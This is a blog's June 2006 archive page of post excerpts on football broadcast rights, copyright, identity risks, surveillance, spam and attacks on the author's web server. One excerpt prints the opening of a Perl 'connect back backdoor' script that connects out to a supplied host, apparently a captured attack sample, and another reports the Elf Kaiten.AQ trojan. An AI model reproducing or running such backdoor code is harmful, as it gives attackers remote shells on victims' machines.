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Monthly Archives: June 2006

World Cup posturing

One of the BBC UK Radio shows about the world of football went off the air due to “licensing issues” but will be back on “after the tournament ends”. The rights to images and video certainly belong to the respective copyright holders however the online distribution of the games seems to work better using “pirate” […]

The Way Things Ought To Be

I was browsing for information on the comic “Bound By Law” when I realized that the most relevant page was, in my narrow definition, the way the web was meant to be. The orginal collaborative nature derived from acadamia would provide the most reliable records in the most accessible format on a ubiquitous network. The […]

Identity Mashup: Questions from the floor

Is the greatest risk of personal identity abuse from 1) the US government 2) corporations 3) foreign individuals who are not afraid of the US legal system

Data Cha0s Connect Back Backdoor

#!/usr/bin/perl use Socket; print “Data Cha0s Connect Back Backdoor\n\n”; if (!$ARGV[0]) { printf “Usage: $0 [Host] \n”; exit(1); } print “[*] Dumping Arguments\n”; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print “[*] Connecting…\n”; $proto = getprotobyname(‘tcp’) || die(“Unknown Protocol\n”); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (“Socket Error\n”); my $target […]


More attacks on my web server [Elf Kaiten.AQ]

the same as the last one which was based on Mambo (open source CMS). This time I was able to pull the files down in time. EDIT: More information here documented by enkrypted UPDATE: Secunia reports this as Elf Kaiten.AQ TrendMicro reports the trojan but the statistics are horribly wrong. Just the channel I’m monitoring […]

Missed Event: Data Surveillance and Privacy Protection

“There has been little discussion of methods and technologies for conducting data surveillance while respecting privacy and preserving civil liberties.” Seem ironic to anyone else? To be fair the CRCS is looking to understand the far more pervasive surveillance infrastructure [being] created around us: the routine use of database information for law enforcement, counter-terrorism, and […]

Legal WTF? Transmission of works

A few friends have told me about and a few swear by the site. I would possibly join in the fun (the price for a song ~$0.10 is where I actually value digital media files) but from my weak legal (self) training I think it’s a bad idea to pretend these are legitimate purchases. […]

Amnesty International v. Cisco

From the blog of Ronald J. Deibert: I think this particular passage was very very interesting. RD: I know that Chinese authorities use Cisco routing technology because Cisco themselves say that they do. Cisco does not deny that its technology is being used, as evidenced by the testimony to US Congress of Mark Chandler, […]

Anti Comment and Trackback Spam Service

Some interesting work here although I really would like to test it first. The problem of spam in general sucks but comment (and trackback) spam sucks AND doesn’t have many solutions out there. I’ve been developing a few of my own so I will keep and eye on how this company progresses. Commercial Use If […]